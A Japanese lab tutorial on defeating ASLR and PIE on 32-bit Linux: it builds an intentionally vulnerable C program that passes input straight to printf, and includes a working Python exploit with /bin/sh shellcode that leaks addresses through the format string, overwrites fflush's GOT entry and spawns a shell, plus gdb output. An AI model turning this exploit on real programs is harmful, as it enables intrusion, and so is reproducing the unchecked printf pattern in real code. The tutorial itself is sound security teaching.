ASLR+PIEとformat string attackによるInformation Leak
ASLRが有効な場合、スタック領域・ヒープ領域や共有ライブラリが置かれるアドレスは一定の範囲の中でランダムに決められる。 一方、実行ファイルそのものが置かれるアドレスは基本的には固定であるが、PIE (Position-Independent Executables) となるようにコンパイル・リンクすることでランダムなアドレスに置けるようにできる。 また、ASLRを迂回する手法の一つにInformation LeakあるいはInformation Exposureと呼ばれる脆弱性を利用するものがある。 ここではPIEな実行ファイルを作成し、ASLR+PIEが有効な実行ファイルに対してformat string attackによるInformation Leakを使ったシェルの起動をやってみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
バッファサイズ200で、繰り返しformat string attackができるコードを書いてみる。
/* fsb-while.c */ #include <stdio.h> void vuln() { char buf[200]; while (fgets(buf, sizeof(buf), stdin) != NULL) { printf(buf); fflush(stdout); } } int main() { vuln(); return 0; }
ここでは、スタック上のリターンアドレスがmain関数内を指すよう、意図的にvuln関数を分けている。
また、fflush(stdout)
により1行入力するたびに標準出力に書き出すようにしている。
PIEな実行ファイルを作ってみる
コンパイル時・リンク時のそれぞれについて下記のオプションを指定することで、PIEな実行ファイルを作ることができる。
$ man gcc Options for Code Generation Conventions -fpie -fPIE These options are similar to -fpic and -fPIC, but generated position independent code can be only linked into executables. Usually these options are used when -pie GCC option will be used during linking. -fpie and -fPIE both define the macros "__pie__" and "__PIE__". The macros have the value 1 for -fpie and 2 for -fPIE. Options for Linking -pie Produce a position independent executable on targets which support it. For predictable results, you must also specify the same set of options that were used to generate code (-fpie, -fPIE, or model suboptions) when you specify this option.
x86の場合-fpie
と-fPIE
に違いはないが、ここではx86以外のアーキテクチャも考慮された-fPIE
を使うことにする。
上に書いたコードをPIEとなるようコンパイル・リンクし、objdumpコマンドでディスアセンブルしてみる。
$ gcc -fPIE -pie fsb-while.c fsb-while.c: In function ‘vuln’: fsb-while.c:9:9: warning: format not a string literal and no format arguments [-Wformat-security] $ objdump -d a.out 00000627 <__i686.get_pc_thunk.bx>: 627: 8b 1c 24 mov ebx,DWORD PTR [esp] 62a: c3 ret ... 0000062c <vuln>: 62c: 55 push ebp 62d: 89 e5 mov ebp,esp 62f: 53 push ebx 630: 81 ec e4 00 00 00 sub esp,0xe4 636: e8 ec ff ff ff call 627 <__i686.get_pc_thunk.bx> 63b: 81 c3 b9 19 00 00 add ebx,0x19b9 641: 65 a1 14 00 00 00 mov eax,gs:0x14 ...
左に表示されるアドレスの値が小さくなっており、__i686.get_pc_thunk.bx
という関数が追加されていることがわかる。
この関数は、ebxレジスタにスタックの一番上の値、すなわちこの関数からのリターンアドレスとなる次の命令のアドレスをセットする。
そして、その次のadd命令でebxが実行ファイル中のGOTセクションの先頭を指すように調整される。
このebxはGOTセクション内のアドレスや.dataセクションなどに置かれたデータを参照するために使われており、PICレジスタと呼ばれる。
ここで、PICはPosition-Independent Codeを意味する。
ASLRを有効にして、gdbで調べてみる。
なお、gdbはデフォルトでASLRを無効にするので、set disable-randomization off
により明示的にASLRを有効にする必要がある。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) set disable-randomization off (gdb) start Temporary breakpoint 1 at 0x6af Starting program: /home/user/tmp/a.out Temporary breakpoint 1, 0xb77746af in main () (gdb) i proc map process 6958 Mapped address spaces: Start Addr End Addr Size Offset objfile ... 0xb7774000 0xb7775000 0x1000 0x0 /home/user/tmp/a.out 0xb7775000 0xb7776000 0x1000 0x0 /home/user/tmp/a.out 0xb7776000 0xb7777000 0x1000 0x1000 /home/user/tmp/a.out 0xbf976000 0xbf997000 0x21000 0x0 [stack] (gdb) start The program being debugged has been started already. Start it from the beginning? (y or n) y Temporary breakpoint 2 at 0xb77746af Starting program: /home/user/tmp/a.out Temporary breakpoint 2, 0xb77af6af in main () (gdb) i proc map process 6961 Mapped address spaces: Start Addr End Addr Size Offset objfile ... 0xb77af000 0xb77b0000 0x1000 0x0 /home/user/tmp/a.out 0xb77b0000 0xb77b1000 0x1000 0x0 /home/user/tmp/a.out 0xb77b1000 0xb77b2000 0x1000 0x1000 /home/user/tmp/a.out 0xbfa97000 0xbfab8000 0x21000 0x0 [stack] (gdb) disas vuln Dump of assembler code for function vuln: 0xb770462c <+0>: push ebp 0xb770462d <+1>: mov ebp,esp 0xb770462f <+3>: push ebx 0xb7704630 <+4>: sub esp,0xe4 0xb7704636 <+10>: call 0xb77045e0 <__x86.get_pc_thunk.bx> 0xb770463b <+15>: add ebx,0x18e6 0xb7704641 <+21>: mov eax,gs:0x14 ... (gdb) b *vuln+15 Breakpoint 3 at 0xb770463b (gdb) c Continuing. Breakpoint 3, 0xb770463b in vuln () (gdb) x/i $ebx => 0xb770463b <vuln+15>: add ebx,0x18e6 (gdb) ni 0xb770462c in vuln () (gdb) x/40wx $ebx 0xb7706018: 0x00001ef8 0xb7703938 0xb76f64f0 0xb7704536 0xb7706020 <fflush@got.plt>: 0xb7704546 0xb7704556 0xb7704566 0xb7704576 0xb7706030 <__gmon_start__@got.plt>: 0xb7704586 0xb75413e0 0x00000000 0xb770602c 0xb7706040 <completed.6590>: 0x00000000 0x00000000 0x00000000 0x00000000 0xb7706050: 0x00000000 0x00000000 0x00000000 0x00000000 ... (gdb) quit A debugging session is active. Inferior 1 [process 6961] will be killed. Quit anyway? (y or n) y
実行するたびにa.outが置かれるアドレスが変わっていること、およびebxレジスタがGOTセクションを指していることが確認できる。
format string attackによるInformation Leak
ASLRを迂回する手法の一つとして、format string attackやbuffer over-readなどにより得たアドレスを利用し、他の関数やデータのアドレスを計算する方法がある。 これを可能にする脆弱性は、Information LeakあるいはInformation Exposureと呼ばれる。
ASLRによりアドレスがランダム化されても、確保された領域内における関数・データ間のオフセットは同じである。 このことを利用すると、たとえば次のように各種アドレスが計算できる。
- スタックに積まれたリターンアドレスの値から、実行ファイル(ここでいうa.out)のベースアドレスが計算できる。
- 一度呼び出されたライブラリ関数のGOTアドレスの値から、そのライブラリのベースアドレスが計算できる。
- スタックに積まれたsaved ebpの値から、スタック領域に置かれる他のデータのアドレスが計算できる。
- ヒープ領域に確保されたデータを指すポインタの値から、ヒープ領域のベースアドレスが計算できる。
エクスプロイトコードを書いてみる
ASLR+PIEが有効な実行ファイルに対し、format string attackによるInformation Leakを利用してスタック上のシェルコードを実行するエスプロイトコードを書くと次のようになる。
# exploit.py import sys import struct from subprocess import Popen, PIPE index = int(sys.argv[1]) offset_retaddr_from_buf = int(sys.argv[2], 16) offset_ebp_from_buf = int(sys.argv[3], 16) shellcode = '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' offset_got_start = 0x2018 # objdump -d -j.plt a.out; objdump -s -j.got.plt a.out offset_got_fflush = 0x2004 # objdump -d -j.plt a.out; objdump -s -j.got.plt a.out offset_retaddr = 0x6b7 # objdump -d a.out | sed -n '/<main>:/,/^$/p' offset_libc_start = 0x193e0 # nm -D /lib/i386-linux-gnu/libc.so.6 | grep __libc_start_main p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) index_retaddr = index + offset_retaddr_from_buf/4 buf = "%%%d$08x" % index_retaddr buf += "%%%d$08x" % (index_retaddr - 1) p.stdin.write(buf+'\n') line = p.stdout.readline() addr_retaddr = int(line[:8], 16) addr_ebp = int(line[8:], 16) base_addr = addr_retaddr - offset_retaddr addr_buf = addr_ebp - offset_ebp_from_buf print "[+] base_addr = %08x" % base_addr print "[+] addr_buf = %08x" % addr_buf buf = struct.pack('<I', base_addr + offset_got_start) buf += "%%%d$s" % index p.stdin.write(buf+'\n') addr_libc_start = struct.unpack('<I', p.stdout.readline()[4:8])[0] base_libc_addr = addr_libc_start - offset_libc_start print "[+] base_libc_addr = %08x" % base_libc_addr buf = struct.pack('<I', base_addr + offset_got_fflush) buf += struct.pack('<I', base_addr + offset_got_fflush + 1) buf += struct.pack('<I', base_addr + offset_got_fflush + 2) buf += struct.pack('<I', base_addr + offset_got_fflush + 3) buf += shellcode a = map(ord, struct.pack('<I', addr_buf + 16)) a[3] = ((a[3]-a[2]-1) % 0x100) + 1 a[2] = ((a[2]-a[1]-1) % 0x100) + 1 a[1] = ((a[1]-a[0]-1) % 0x100) + 1 a[0] = ((a[0]-len(buf)-1) % 0x100) + 1 buf += "%%%dc%%%d$hhn" % (a[0], index) buf += "%%%dc%%%d$hhn" % (a[1], index+1) buf += "%%%dc%%%d$hhn" % (a[2], index+2) buf += "%%%dc%%%d$hhn" % (a[3], index+3) with open('buf', 'wb') as f: f.write(buf) p.stdin.write(buf+'\n') while True: line = sys.stdin.readline() if not line: break p.stdin.write(line) sys.stdout.write(p.stdout.readline()) p.stdin.close() p.wait()
このコードは、フォーマット文字列のインデックス、フォーマット文字列が置かれたアドレスからリターンアドレスが置かれたアドレスへのオフセット、フォーマット文字列が置かれたアドレスからsaved ebpの値へのオフセットを順に引数に取る。 そして、スタック上に置かれたリターンアドレスから実行ファイルのベースアドレス、saved ebpの値からバッファの先頭アドレスを計算し、fflush関数のGOTアドレスをスタック上のシェルコードを指すように書き換える。 また実際には必要ないが、__libc_start_main関数のGOTアドレスからlibcのベースアドレスも計算するようにしてある。
gdbで第2引数、第3引数のオフセットを調べてみる。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) start Temporary breakpoint 1 at 0x6af Starting program: /home/user/tmp/a.out Temporary breakpoint 1, 0x800006af in main () (gdb) disas vuln Dump of assembler code for function vuln: 0x8000062c <+0>: push ebp 0x8000062d <+1>: mov ebp,esp 0x8000062f <+3>: push ebx 0x80000630 <+4>: sub esp,0xe4 0x80000636 <+10>: call 0x80000627 <__i686.get_pc_thunk.bx> 0x8000063b <+15>: add ebx,0x19b9 0x80000641 <+21>: mov eax,gs:0x14 0x80000647 <+27>: mov DWORD PTR [ebp-0xc],eax 0x8000064a <+30>: xor eax,eax 0x8000064c <+32>: jmp 0x8000066c <vuln+64> 0x8000064e <+34>: lea eax,[ebp-0xd4] 0x80000654 <+40>: mov DWORD PTR [esp],eax 0x80000657 <+43>: call 0x800004c0 <printf@plt> 0x8000065c <+48>: mov eax,DWORD PTR [ebx-0xc] 0x80000662 <+54>: mov eax,DWORD PTR [eax] 0x80000664 <+56>: mov DWORD PTR [esp],eax 0x80000667 <+59>: call 0x800004d0 <fflush@plt> 0x8000066c <+64>: mov eax,DWORD PTR [ebx-0x10] 0x80000672 <+70>: mov eax,DWORD PTR [eax] 0x80000674 <+72>: mov DWORD PTR [esp+0x8],eax 0x80000678 <+76>: mov DWORD PTR [esp+0x4],0xc8 0x80000680 <+84>: lea eax,[ebp-0xd4] 0x80000686 <+90>: mov DWORD PTR [esp],eax 0x80000689 <+93>: call 0x800004e0 <fgets@plt> 0x8000068e <+98>: test eax,eax 0x80000690 <+100>: jne 0x8000064e <vuln+34> 0x80000692 <+102>: mov eax,DWORD PTR [ebp-0xc] 0x80000695 <+105>: xor eax,DWORD PTR gs:0x14 0x8000069c <+112>: je 0x800006a3 <vuln+119> 0x8000069e <+114>: call 0x80000740 <__stack_chk_fail_local> 0x800006a3 <+119>: add esp,0xe4 0x800006a9 <+125>: pop ebx 0x800006aa <+126>: pop ebp 0x800006ab <+127>: ret End of assembler dump. (gdb) b *vuln+48 Breakpoint 2 at 0x8000065c (gdb) c Continuing. AAAA AAAA Breakpoint 2, 0x8000065c in vuln () (gdb) x/100wx $esp 0xbffff6b0: 0xbffff6c4 0x000000c8 0xb7fd2ac0 0xb7ec47be 0xbffff6c0: 0xbffff6f8 0x41414141 0xb7ff000a 0xbffff7e4 0xbffff6d0: 0xbffff7a0 0xb7fe7ed9 0xbffff780 0x80000250 ... 0xbffff790: 0xb7fed280 0xb7fd1ff4 0xbffff7a8 0x800006b7 ... (gdb) disas main Dump of assembler code for function main: 0x800006ac <+0>: push ebp 0x800006ad <+1>: mov ebp,esp 0x800006af <+3>: and esp,0xfffffff0 0x800006b2 <+6>: call 0x8000062c <vuln> 0x800006b7 <+11>: mov eax,0x0 0x800006bc <+16>: leave 0x800006bd <+17>: ret End of assembler dump. (gdb) p/x 0xbffff79c-0xbffff6c4 $1 = 0xd8 (gdb) p/x 0xbffff7a8-0xbffff6c4 $2 = 0xe4 (gdb) quit A debugging session is active. Inferior 1 [process 7492] will be killed. Quit anyway? (y or n) y
フォーマット文字列が置かれたアドレスは 0xbffff6c4、リターンアドレス 0x800006b7 が置かれたアドレスは 0xbffff6c4、saved ebpの値は 0xbffff7a8 であり、求めたいオフセットはそれぞれ 0xd8、0xe4 となっている。
DEP無効、ASLR+PIE、SSP有効でコンパイルし、各引数をセットしてエクスプロイトコードを実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gcc -fPIE -pie -z execstack fsb-while.c fsb-while.c: In function ‘vuln’: fsb-while.c:8:9: warning: format not a string literal and no format arguments [-Wformat-security] $ ./a.out AAAA%5$08x[ENTER] AAAA41414141 [CTRL+D] $ python exploit.py 5 0xd8 0xe4 [+] base_addr = b77dd000 [+] addr_buf = bff96f34 [+] base_libc_addr = b7609000 id[ENTER] uid=1000(user) gid=1000(user) groups=1000(user) [CTRL+D]
ASLR+PIEが有効な実行ファイルに対し、各アドレスが算出されシェルが起動できていることが確認できた。